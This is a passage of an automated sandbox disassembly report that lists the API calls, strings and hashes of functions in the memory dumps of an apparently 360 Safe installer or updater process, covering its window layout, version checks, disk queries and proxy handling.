[%d.]dl DownType:%d P2pDelay:%d.SkipEnt:%d, xrefs: 5F4FCAB8
.P2P, xrefs: 5F4FC9B6

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _wcslen$_memset$H_prolog3wvnsprintf$CountTick__wcsnicmp
String ID: ,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,$.P2P$360tray$[%d.] AppName=%s IsSkipEnt:%d$[%d.] DUQuota = %d Liveupdate360:%d$[%d.] Delete mem File$[%d.] EntModuleList=%s$[%d.] ErrorCode = %d(%s)$[%d.] ErrorCode = %d(%s)$[%d.] ErrorCode = %d(%s) PDownURL = %s$[%d.] ErrorCode = %d(%s), $[%d.] FileName=%s ErrorCode= %d(%s)$[%d.] URL = %s File=%s$[%d.] discard resume mem$[%d.]dl DownType:%d P2pDelay:%d.SkipEnt:%d
API String ID: 3392004093-4225084922
Opcode ID: ded15e357e081382699b01ead2ea524c44df1abbbb4fbd63e0032255b09a22aa
Instruction ID: 4e145669af95d8a2b75738c679832cfb7c11928ec5bfb110e5fed09a363d21e6
Opcode Fuzzy Hash: ded15e357e081382699b01ead2ea524c44df1abbbb4fbd63e0032255b09a22aa
Instruction Fuzzy Hash: 61427AB0901B00DFDB259FB5C840A9AFBF5EF94311F14891FE6AB863A1D771A640CB91

Function 001B6F7F Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 174
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateSolidBrush.GDI32(00FFFFFF), ref: 001B6F99

Part of subcall function 001B65A6: __EH_prolog3.LIBCMT ref: 001B65AD
Part of subcall function 001B65A6: GetDlgItem.USER32(?,00000403), ref: 001B65D5
Part of subcall function 001B65A6: GetDlgItem.USER32(?,000003EF), ref: 001B665A
Part of subcall function 001B65A6: GetDlgItem.USER32(?,000003F1), ref: 001B66B4
Part of subcall function 001B65A6: GetDlgItem.USER32(?,00000411), ref: 001B66E7

MoveWindow.USER32(?,000000D7,000000A7,000000AF,00000050,00000001), ref: 001B6FCB
GetClientRect.USER32(?,?), ref: 001B6FE1
MoveWindow.USER32(?,00000212,0000013E,00000032,00000014,00000001), ref: 001B6FFD
MoveWindow.USER32(?,00000027,00000008,00000090,0000001E,00000001), ref: 001B7012
MoveWindow.USER32(?,0000003C,0000003F,00000046,00000014,00000001,?,00000027,00000008,00000131,PNG), ref: 001B7041
GetWindowRect.USER32(?,?), ref: 001B704D

Part of subcall function 001960A3: ScreenToClient.USER32(?,?), ref: 001960B5
Part of subcall function 001960A3: ScreenToClient.USER32(?,?), ref: 001960C1

GetDlgItem.USER32(?,000003EE), ref: 001B7065

Part of subcall function 00177EB5: __EH_prolog3.LIBCMT ref: 00177EBC

SendMessageW.USER32(?,00000030,?,00000001), ref: 001B707E
MoveWindow.USER32(?,?,0000003C,0000003C,0000001C,00000001), ref: 001B70D1
MoveWindow.USER32(?,?,00000050,00000109,00000014,00000001), ref: 001B70EC
MoveWindow.USER32(?,0000018E,00000050,00000050,00000014,00000001), ref: 001B7106

Part of subcall function 001B4B9F: GetWindowRect.USER32(?,?), ref: 001B4BBC
Part of subcall function 001B4B9F: GetWindowTextLengthW.USER32(?), ref: 001B4BD0
Part of subcall function 001B4B9F: GetDC.USER32(?), ref: 001B4BDB
Part of subcall function 001B4B9F: _memset.LIBCMT ref: 001B4BEB
Part of subcall function 001B4B9F: GetTextMetricsW.GDI32(00000000,?), ref: 001B4BF8
Part of subcall function 001B4B9F: ReleaseDC.USER32(?,00000000), ref: 001B4C0B
Part of subcall function 001B4B9F: MoveWindow.USER32(?,?,?,00000000,?,00000001), ref: 001B4C2C

MoveWindow.USER32(?,0000003C,00000087,00000046,00000014,00000001), ref: 001B7129
ShowWindow.USER32(?,00000000), ref: 001B7139
GetClientRect.USER32(?,?), ref: 001B7141
ShowWindow.USER32(00000000,00000000,?), ref: 001B71A3

Part of subcall function 001A407A: ShowScrollBar.USER32(00000005,00000003,00000000,00000018,00000000,?,00000018), ref: 001A40A5

Strings

X, xrefs: 001B70B0
<, xrefs: 001B7090
CustomContrlList, xrefs: 001B717E
PNG, xrefs: 001B7014

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Window$Move$Item$ClientRect$Show$H_prolog3ScreenText$BrushCreateLengthMessageMetricsReleaseScrollSendSolid_memset
String ID: <$CustomContrlList$PNG$X
API String ID: 3202666548-2186719467
Opcode ID: 417a8a1e468cd8c43e8121cf2dd3c33105a83c1bed422a2ae082e58502fc3a19
Instruction ID: 25ec7df2c9dc7e3bfbbb13131d0ed6e6c6a20f1ad6be73a352a86d28ca7f15d9
Opcode Fuzzy Hash: 417a8a1e468cd8c43e8121cf2dd3c33105a83c1bed422a2ae082e58502fc3a19
Instruction Fuzzy Hash: 70514271A40308BFEB21AFA4DC46FDEBBB9AF18B00F004415F645BA1E1DBB16A04CB51

Function 00198F5A Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 224
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00198F8F
GetWindowLongW.USER32(?,000000EC), ref: 00198F97

Part of subcall function 00197927: GetWindowLongW.USER32(-00000004,000000F0), ref: 00197949
Part of subcall function 00197927: SendMessageW.USER32(-00000004,0000007F,00000000,00000000), ref: 00197984
Part of subcall function 00197927: SendMessageW.USER32(-00000004,00000080,00000000,00000000), ref: 00197997
Part of subcall function 00197927: GetDlgItem.USER32(-00000004,0000E801), ref: 001979A4
Part of subcall function 00197927: IsWindow.USER32(00000000), ref: 001979AE
Part of subcall function 00197927: GetClientRect.USER32(-00000004,?), ref: 001979F8
Part of subcall function 00197927: GetDlgItem.USER32(-00000004,0000E801), ref: 00197A1F
Part of subcall function 00197927: IsWindow.USER32(00000000), ref: 00197A2C

SetWindowLongW.USER32(?,000000F0,00000000), ref: 00198FC2
SetWindowLongW.USER32(?,000000EC,?), ref: 00198FCC
SetWindowTextW.USER32(?,?), ref: 00198FF7

Part of subcall function 00196180: GetWindowLongW.USER32(?,000000F0), ref: 00196198
Part of subcall function 00196180: GetParent.USER32 ref: 001961AD
Part of subcall function 00196180: GetWindowRect.USER32(?,?), ref: 001961C7
Part of subcall function 00196180: GetWindowLongW.USER32(?,000000F0), ref: 001961DD
Part of subcall function 00196180: MonitorFromWindow.USER32(?,00000002), ref: 001961FC

GetSystemMetrics.USER32(0000000C), ref: 00199017
GetSystemMetrics.USER32(0000000B), ref: 0019901C
LoadImageW.USER32(?,00000080,00000001,00000000), ref: 00199026
SendMessageW.USER32(?,00000080,00000001,00000000), ref: 00199032
GetSystemMetrics.USER32(00000032), ref: 00199045
GetSystemMetrics.USER32(00000031), ref: 0019904A
LoadImageW.USER32(?,00000080,00000001,00000000), ref: 00199054
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00199061
GetCurrentThreadId.KERNEL32 ref: 00199067

Part of subcall function 00197EF3: EnterCriticalSection.KERNEL32(0024BC7C), ref: 00197F09
Part of subcall function 00197EF3: LeaveCriticalSection.KERNEL32(0024BC7C), ref: 00197F1E

Part of subcall function 0019749D: __recalloc.LIBCMT ref: 001974E3

Part of subcall function 00197530: __recalloc.LIBCMT ref: 00197576

Part of subcall function 00195AFC: _memset.LIBCMT ref: 00195B0D
Part of subcall function 00195AFC: SHAppBarMessage.SHELL32(00000000,?), ref: 00195B2F

KiUserCallbackDispatcher.NTDLL(?,00000001,?,?,?,?,?,?,?,002165E9,000000FF), ref: 001990D0
KiUserCallbackDispatcher.NTDLL(?,00000000,?,?,?,?,?,?,?,002165E9,000000FF), ref: 001990D7
PostMessageW.USER32(?,00003AB1,00000000,00000000), ref: 00199121

Strings

D!, xrefs: 0019906E
PNG, xrefs: 00199181

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Window$Long$Message$MetricsSendSystem$CallbackCriticalDispatcherImageItemLoadRectSectionUser__recalloc$ClientCurrentEnterFromLeaveMonitorParentPostTextThread_memset
String ID: D!$PNG
API String ID: 2213159910-1994516575
Opcode ID: 142864490b41a2c690d500462387f3c949ef05940195b3eda6c7d89ca31b2703
Instruction ID: b57522bf359801b9de26d8e10d8f13a56652258f7d3dc09f281c6a347c1617af
Opcode Fuzzy Hash: 142864490b41a2c690d500462387f3c949ef05940195b3eda6c7d89ca31b2703
Instruction Fuzzy Hash: 3971AD71204204EFDB04EFA4DC89FAABBA9FF59354F110629F5518B2A1DB72E8148B61

Function 001CE0D8 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 191
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 001CE0F7
_memset.LIBCMT ref: 001CE11A
SHGetValueW.SHLWAPI(?,?,?,?,?,00000080,?,?,00000018), ref: 001CE13C
PathCombineW.SHLWAPI(?,?,?,?,?,?,00000018), ref: 001CE186
PathFileExistsW.SHLWAPI(?,?,?,00000018), ref: 001CE18F
_memset.LIBCMT ref: 001CE1DE
PathCombineW.SHLWAPI(?,?,360ver.dll,?,?,?,?,?,00000018), ref: 001CE1F5
PathCombineW.SHLWAPI(00000000,?,360Common.dll,?,?,?,?,?,00000018), ref: 001CE203
PathCombineW.SHLWAPI(?,?,360Base.dll,?,?,?,?,?,00000018), ref: 001CE214
GetProcAddress.KERNEL32(00000000,Get360SafeVersion), ref: 001CE274
GetProcAddress.KERNEL32(?,IsBetaVersion), ref: 001CE281
_memset.LIBCMT ref: 001CE2C1

Strings

360Base.dll, xrefs: 001CE205
0.0.0.0, xrefs: 001CE2DA
360Common.dll, xrefs: 001CE1F7
Get360SafeVersion, xrefs: 001CE26E
360ver.dll, xrefs: 001CE1E6
IsBetaVersion, xrefs: 001CE276

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Path$Combine$_memset$AddressProc$ExistsFileH_prolog3Value
String ID: 0.0.0.0$360Base.dll$360Common.dll$360ver.dll$Get360SafeVersion$IsBetaVersion
API String ID: 2656314946-96710800
Opcode ID: 881b10ce590913c7543cc977e6dd85e2859635dddf5047164285aba53719b088
Instruction ID: dfc645d5ff710b024e3c67164268c340e0258ca30ae20ebd6d2c7cd5d1939a8b
Opcode Fuzzy Hash: 881b10ce590913c7543cc977e6dd85e2859635dddf5047164285aba53719b088
Instruction Fuzzy Hash: 75613976900689ABDF20EFA5DC89FEF77FCBB54700F00042AE51597181EB71A654CB50

Function 5F4D6E40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 157
synchronizationmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(FF4173A1,?,?,?,?,?,?,?,5F54E70B,000000FF), ref: 5F4D6E84
__snwprintf.LIBCMT ref: 5F4D6E9B
CreateMutexW.KERNEL32(00000000,00000001,?,?,?,?,?,?,?,?,?,?,5F54E70B,000000FF), ref: 5F4D6EB5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,5F54E70B,000000FF), ref: 5F4D6EC8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,?,?,?,?,5F54E70B,000000FF), ref: 5F4D6ED8
_memset.LIBCMT ref: 5F4D6EF4
_swscanf.LIBCMT ref: 5F4D6F2B
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,5F54E70B,000000FF), ref: 5F4D6F45
HeapAlloc.KERNEL32(00000000,00000000,000005C0,?,?,?,?,?,?,?,?,?,?,?,?,5F54E70B), ref: 5F4D6F57
__CxxThrowException@8.LIBCMT ref: 5F4D6F92
__swprintf.LIBCMT ref: 5F4D6FA9
__CxxThrowException@8.LIBCMT ref: 5F4D6FD0
ReleaseMutex.KERNEL32(?,?,5F56CAE8), ref: 5F4D6FDE
CloseHandle.KERNEL32(?), ref: 5F4D7000
ReleaseMutex.KERNEL32(00000000), ref: 5F4D7023
CloseHandle.KERNEL32(00000000), ref: 5F4D702E

Strings

%s %u, xrefs: 5F4D6E90
1830B7BD-F7A3-4c4d-989B-C004DE465EDE, xrefs: 5F4D6E8B

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Mutex$CloseException@8HandleHeapProcessReleaseThrow$AllocCreateCurrentErrorLastObjectSingleWait__snwprintf__swprintf_memset_swscanf
String ID: %s %u$1830B7BD-F7A3-4c4d-989B-C004DE465EDE
API String ID: 2967953817-332789905
Opcode ID: 0a614d5f243553b8695eca0cc887872410ae80e2b3e21d71445913d40d6e94ff
Instruction ID: da1d2583b29741651b762f2e0cc2614615f648a1d501dc0d968f58ef8cdf1d03
Opcode Fuzzy Hash: 0a614d5f243553b8695eca0cc887872410ae80e2b3e21d71445913d40d6e94ff
Instruction Fuzzy Hash: 925193F19026059BDB10DFA4CD68BEE77A8EF44720F00462EF91AE7281EB7455088BD1

Function 00197927 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 258
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(-00000004,000000F0), ref: 00197949
SendMessageW.USER32(-00000004,0000007F,00000000,00000000), ref: 00197984
SendMessageW.USER32(-00000004,00000080,00000000,00000000), ref: 00197997
GetDlgItem.USER32(-00000004,0000E801), ref: 001979A4
IsWindow.USER32(00000000), ref: 001979AE
GetClientRect.USER32(-00000004,?), ref: 001979F8
GetDlgItem.USER32(-00000004,0000E801), ref: 00197A1F
IsWindow.USER32(00000000), ref: 00197A2C
IsWindow.USER32(00000000), ref: 00197A66
GetWindowRect.USER32(00000000,00000000), ref: 00197A83
GetWindowRect.USER32(-00000004,000000FF), ref: 00197AF9
GetDlgItem.USER32(-00000004,000003E8), ref: 00197B7D
GetWindowRect.USER32(00000000,00000000), ref: 00197B96
MapWindowPoints.USER32(00000000,-00000004,00000000,00000002), ref: 00197BA6
MapWindowPoints.USER32(00000000,-00000004,00000000,00000002), ref: 00197A93

Part of subcall function 00196FE3: __recalloc.LIBCMT ref: 0019702D

GetClientRect.USER32(-00000004,000000FF), ref: 00197AE6

Strings

SCROLLBAR, xrefs: 00197A59

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Window$Rect$Item$ClientMessagePointsSend$Long__recalloc
String ID: SCROLLBAR
API String ID: 3924995472-324577739
Opcode ID: 51a62628703143715ac59d9044e33781360d9c29fdd8f3d3ea373458768ec37b
Instruction ID: 7b29e38e9ed64c5b4d8bc6e6e78e0407c0e3e9a51f800985a0b50139a618dbf6
Opcode Fuzzy Hash: 51a62628703143715ac59d9044e33781360d9c29fdd8f3d3ea373458768ec37b
Instruction Fuzzy Hash: 3BA14C71914209AFDF15CFA8D889AAEBBF5FF18314F148529F816E72A0D7709A04CF61

Function 001B65A6 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 336
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 001B65AD
GetDlgItem.USER32(?,00000403), ref: 001B65D5

Part of subcall function 001B3197: InvalidateRect.USER32(?,00000000,00000000,?,?,001B0207,?), ref: 001B31AD

GetDlgItem.USER32(?,000003EF), ref: 001B665A
GetDlgItem.USER32(?,000003F1), ref: 001B66B4

Part of subcall function 001AF7D0: SetWindowLongW.USER32(?,000000FC,?), ref: 001AF7F6

GetDlgItem.USER32(?,00000411), ref: 001B66E7
GetDlgItem.USER32(000000FF,000003F6), ref: 001B6774

Part of subcall function 00196C96: SetWindowLongW.USER32(?,000000FC,?), ref: 00196CBC

GetDlgItem.USER32(000000FF,000003EA), ref: 001B67C4
ShowWindow.USER32(?,00000000,000000E5,PNG,00000004,?), ref: 001B680B
GetDlgItem.USER32(000000FF,0000040F), ref: 001B686E
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 001B68A2
ShowWindow.USER32(?,00000000), ref: 001B68B0
GetDlgItem.USER32(000000FF,00000410), ref: 001B68DC
ShowWindow.USER32(?,00000000), ref: 001B6903
GetDlgItem.USER32(000000FF,00000409), ref: 001B6932

Part of subcall function 001B134F: SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000006,?,?,00000000,?,?,?,001977F9,0000013F,PNG), ref: 001B13A1

GetDlgItem.USER32(000000FF,000003ED), ref: 001B69D2

Part of subcall function 001B62CA: __EH_prolog3.LIBCMT ref: 001B62D1

Part of subcall function 001B1610: EnableWindow.USER32(?,?), ref: 001B161B
Part of subcall function 001B1610: InvalidateRect.USER32(?,00000000,00000001,?,?,00195AF9,?), ref: 001B162A
Part of subcall function 001B1610: RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,00195AF9,?), ref: 001B163C

Strings

PNG, xrefs: 001B666A, 001B67F2, 001B687E

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Item$Window$Show$H_prolog3InvalidateLongRect$EnableMessageRedrawSend
String ID: PNG
API String ID: 1363821098-364855578
Opcode ID: a5d812c8997315a2b94b2210292dbade5ee91b93eff95328816da855dce823ae
Instruction ID: 0613aee4bcad24a5e2c1ea2f06424cc1cf9cd0581372d82276a224755f219564
Opcode Fuzzy Hash: a5d812c8997315a2b94b2210292dbade5ee91b93eff95328816da855dce823ae
Instruction Fuzzy Hash: C2D15A74900B05AFDB24EB70CC96FEAB7A5AF24750F10491CF2AB660E2DB717A14CB11

Function 001D3BFD Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 293
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 001D3C04
CoCreateInstance.OLE32(0022C868,00000000,00000001,0022C798,?,00000038,001D4568,?,?,?,?,?,0000001C,001CEAD1,?,?), ref: 001D3C22
SysFreeString.OLEAUT32(?), ref: 001D3C71
CoSetProxyBlanket.COMBASE(0017BD49,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 001D3C88

Part of subcall function 001BE782: __EH_prolog3_GS.LIBCMT ref: 001BE789
Part of subcall function 001BE782: _wcslen.LIBCMT ref: 001BE7C4

Part of subcall function 001C573A: SysAllocString.OLEAUT32(?), ref: 001C5751

SysFreeString.OLEAUT32(?), ref: 001D3D26
SysFreeString.OLEAUT32(?), ref: 001D3D2F
VariantClear.OLEAUT32(?), ref: 001D3D79
SysFreeString.OLEAUT32(?), ref: 001D3E56
SysFreeString.OLEAUT32(?), ref: 001D3E5B

Part of subcall function 001D2533: __EH_prolog3.LIBCMT ref: 001D253A
Part of subcall function 001D2533: VariantInit.OLEAUT32(?), ref: 001D2556
Part of subcall function 001D2533: VariantChangeType.OLEAUT32(?,?,00000000,00000008), ref: 001D256B
Part of subcall function 001D2533: VariantClear.OLEAUT32(?), ref: 001D2589

VariantClear.OLEAUT32(?), ref: 001D3E98

Strings

ROOT\CIMV2, xrefs: 001D3C36
WQL, xrefs: 001D3CF1, 001D3E21
DeviceID, xrefs: 001D3D8B
ASSOCIATORS OF {Win32_DiskPartition.DeviceID='%s'} where ResultClass = Win32_DiskDrive, xrefs: 001D3DF2
Model, xrefs: 001D3EAA
ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='%s'} where ResultClass = Win32_DiskPartition, xrefs: 001D3CC7

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: String$FreeVariant$Clear$AllocBlanketChangeCreateH_prolog3H_prolog3_H_prolog3_catchInitInstanceProxyType_wcslen
String ID: ASSOCIATORS OF {Win32_DiskPartition.DeviceID='%s'} where ResultClass = Win32_DiskDrive$ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='%s'} where ResultClass = Win32_DiskPartition$DeviceID$Model$ROOT\CIMV2$WQL
API String ID: 3888685156-88420156
Opcode ID: f5622c2eacdb4f3dbc48845971d99d0d88a2f5e03142a72f0d8e0f16d06f9a9a
Instruction ID: 08535afe4a3e9683e1ac5d59902ba26a9fd21664b42ee176dfe13551f701879b
Opcode Fuzzy Hash: f5622c2eacdb4f3dbc48845971d99d0d88a2f5e03142a72f0d8e0f16d06f9a9a
Instruction Fuzzy Hash: 18B12571900249EFDF04DFE4C885EEDBBB9AF19304F24805AF515AB291CB71AE45CB62

Function 5F4F5625 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 291COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 5F4F5644

Part of subcall function 5F4F1914: __EH_prolog3.LIBCMT ref: 5F4F191B
Part of subcall function 5F4F1914: GetTickCount.KERNEL32 ref: 5F4F1926
Part of subcall function 5F4F1914: GetTickCount.KERNEL32 ref: 5F4F1930
Part of subcall function 5F4F1914: GetTickCount.KERNEL32 ref: 5F4F1940

_wcsncpy.LIBCMT ref: 5F4F56F7
_wcsncpy.LIBCMT ref: 5F4F5716
_wcslen.LIBCMT ref: 5F4F5775
_wcslen.LIBCMT ref: 5F4F5786
_wcslen.LIBCMT ref: 5F4F5797
_memset.LIBCMT ref: 5F4F583E
_memset.LIBCMT ref: 5F4F5855
_memset.LIBCMT ref: 5F4F586C
_memset.LIBCMT ref: 5F4F590A
_wcslen.LIBCMT ref: 5F4F5949
StrStrIW.SHLWAPI(?,http://,?,?,?,00000000,00000000,000000FF,?,?,?,?,?,0000000C), ref: 5F4F5959

Part of subcall function 5F4F429A: __EH_prolog3.LIBCMT ref: 5F4F42B3
Part of subcall function 5F4F429A: StrStrIW.SHLWAPI(?,file://,00000001,00000000,00000000,00000000,000000FF), ref: 5F4F436A
Part of subcall function 5F4F429A: _wcslen.LIBCMT ref: 5F4F438A
Part of subcall function 5F4F429A: _wcslen.LIBCMT ref: 5F4F4398
Part of subcall function 5F4F429A: _wcslen.LIBCMT ref: 5F4F43AB

Strings

http=, xrefs: 5F4F57A5
[Update Ie Proxy] WPAD[%d], Proxy[%s], PAC[%s], DialUp[%d], xrefs: 5F4F568D
socks=, xrefs: 5F4F57B0
http://, xrefs: 5F4F5953

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _wcslen$_memset$CountH_prolog3Tick$_wcsncpy
String ID: [Update Ie Proxy] WPAD[%d], Proxy[%s], PAC[%s], DialUp[%d]$http://$http=$socks=
API String ID: 2113534588-487906059
Opcode ID: a28a54eb4f2d0851dba017d8f41997fa9e6bacdd51a355bf429dffa31879ab71
